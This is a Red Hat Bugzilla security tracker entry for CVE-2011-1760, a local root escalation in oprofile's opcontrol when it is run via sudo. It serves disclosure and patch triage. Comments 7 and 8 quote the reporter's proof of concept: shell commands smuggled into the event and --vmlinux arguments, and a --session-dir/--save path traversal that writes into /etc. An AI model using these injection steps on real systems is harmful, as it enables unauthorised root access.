Bug 700883 (CVE-2011-1760)

Summary: CVE-2011-1760 oprofile: Local privilege escalation via crafted opcontrol event parameter
Product: [Other] Security Response Reporter: Jan Lieskovsky <jlieskov>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED WONTFIX QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: unspecifiedCC: pasteur, security-response-team, vdanen, wcohen
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2011-07-29 10:41:04 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 701504, 701505, 701506, 701507, 701508    
Bug Blocks: 711681    
Attachments:
Description Flags
0001-Sanitize-Event-Names.patch
none
0002-Ensure-that-save-only-saves-things-in-SESSION_DIR.patch
none
0003-Avoid-blindly-source-SETUP_FILE-with.patch
none
0004-Do-additional-checks-on-user-supplied-arguments.patch none

Description Jan Lieskovsky 2011-04-29 17:56:09 UTC
It was found that oprofile profiling system did not properly sanitize
the content of event argument, provided to oprofile profiling control
utility (opcontrol). If a local unprivileged user was authorized by
sudoers file to run the opcontrol utility, they could use the flaw
to escalate their privileges (execute arbitrary code with the privileges
of the privileged system user, root). Different vulnerability than
CVE-2006-0576.

References:
[1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624212

Comment 1 Jan Lieskovsky 2011-04-29 17:58:24 UTC
This issue did not affect the version of the oprofile package,
as shipped with Red Hat Enterprise Linux 4.

This issue affects the versions of the oprofile package, as shipped
with Red Hat Enterprise Linux 5 and 6.

This issue affects the versions of the oprofile package, as shipped
with Fedora release of 13 and 14.

Comment 3 Jan Lieskovsky 2011-04-29 18:16:18 UTC
CVE Request:
[2] http://www.openwall.com/lists/oss-security/2011/04/29/3

Comment 4 Huzaifa S. Sidhpurwala 2011-05-03 03:30:28 UTC
This has been assigned CVE-2011-1760

Comment 6 Huzaifa S. Sidhpurwala 2011-05-03 03:35:16 UTC
Created oprofile tracking bugs for this issue

Affects: fedora-all [bug 701508]

Comment 7 Jan Lieskovsky 2011-05-03 08:33:04 UTC
Original public PoC / scenario from Stephane Chauveau (issue reporter):
(from [3] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624212#5)

$ sudo opcontrol -e "abcd;/usr/bin/id"
uid=0(root) gid=0(root) groups=0(root)
No such event "abcd"

Comment 8 Jan Lieskovsky 2011-05-03 08:34:40 UTC
Stephane also reported [4] two more ways how to exploit this:
=============================================================

I just found 2 more ways to execute arbitrary commands via sudo opcontrol

################# Method 1 ##################

The problem is in the functions do_save_setup() where multiple values 
are saved in the shell script /root/.oprofile/daemonrc.

That file is sourced in do_load_setup() by later invocations of opcontrol.

The function do_save_setup() does not sanitize the values and thus 
allows do_load_setup() to execute arbitrary commands.

There is even a comment in do_load_setup that indicates that the method 
is known to be insecure

Here is a possible method using the --vmlinux option:

(1) create a fake vmlinux file with a 'malformed' name

#  touch "$HOME/abcd;id"

(2) start the oprofile daemon using that vmlinux file. This creates the 
daemonrc file

# sudo opcontrol   --vmlinux="$HOME/aaaa;id"

(3) Any invocation of opcontrol will now source the malformed daemonrc 
file as root.

# sudo opcontrol   --stop
uid=0(root) gid=0(root) groups=0(root)
Daemon not running

(4) The daemonrc file can be cleared with

# sudo opcontrol   --no-vmlinux

The same trick can probably be used with the --session-dir and --xen 
options.

################# Method 2 ##################

The --save=name option is moving samples/current to samples/name in the 
current session directory.

A proper combination of  --session-dir and --save can be used to copy a 
file to any location.

The following example shows how to create a file /etc/XXX

(1) Create a 'samples' directory

# mkdir -p /tmp/xxx/samples

(2) Create a file named 'current' in that directory

# echo "my_commands" > /tmp/xxx/samples/current

(3) Set the oprofile session directory to the root of the 'samples' 
directory

# sudo opcontrol --session-dir=/tmp/xxx

(4)  Execute --save with a path relative to the 'current' file

#  sudo opcontrol --save=../../../etc/XXX

=============================================================

[4] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624212#14

Comment 9 William Cohen 2011-05-16 21:29:10 UTC
Created attachment 499232 [details]
0001-Sanitize-Event-Names.patch

Comment 10 William Cohen 2011-05-16 21:30:06 UTC
Created attachment 499233 [details]
0002-Ensure-that-save-only-saves-things-in-SESSION_DIR.patch

Comment 11 William Cohen 2011-05-16 21:30:46 UTC
Created attachment 499234 [details]
0003-Avoid-blindly-source-SETUP_FILE-with.patch

Comment 12 William Cohen 2011-05-16 21:31:19 UTC
Created attachment 499235 [details]
0004-Do-additional-checks-on-user-supplied-arguments.patch

Comment 16 Vincent Danen 2011-07-07 22:07:24 UTC
Jamie Strandboge noted that one of the patches reverts a change made in the previous patch.  Was it intentional?

Quoting from http://www.openwall.com/lists/oss-security/2011/07/07/6 :

Thanks for these patches. I was reviewing them and noticed that 0003-Avoid-blindly-source-SETUP_FILE-with.patch undoes the 'error_if_not_basename $arg $val' for --save added in 0002-Ensure-that-save-only-saves-things-in-SESSION_DIR.patch such that if you apply all 4 patches, method #2 from the Debian bug[1] is no longer fixed. Attached is a patch to correct this (to be applied after the other 4).

[1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=624212#14

Comment 17 Vincent Danen 2011-07-07 22:10:09 UTC
Sorry, the above comment is probably more pertinent to CVE-2011-2472 than this (although the patch is attached to this bug).

Comment 18 Huzaifa S. Sidhpurwala 2011-07-29 10:01:08 UTC
OProfile was not designed to work safely with sudo as suggested by upstream at:
http://oprofile.sourceforge.net/faq/

Fixing this issue is likely to break a lot of use case where opcontrol is started by non-root user via sudo, and make OProfile less usefull. We recommend not to grant sudo access for the opcontrol script to untrusted users.

Comment 19 Huzaifa S. Sidhpurwala 2011-07-29 10:01:48 UTC
Statement:

Red Hat currently does not plan to address this issue. For details refer to: https://bugzilla.redhat.com/show_bug.cgi?id=700883#c18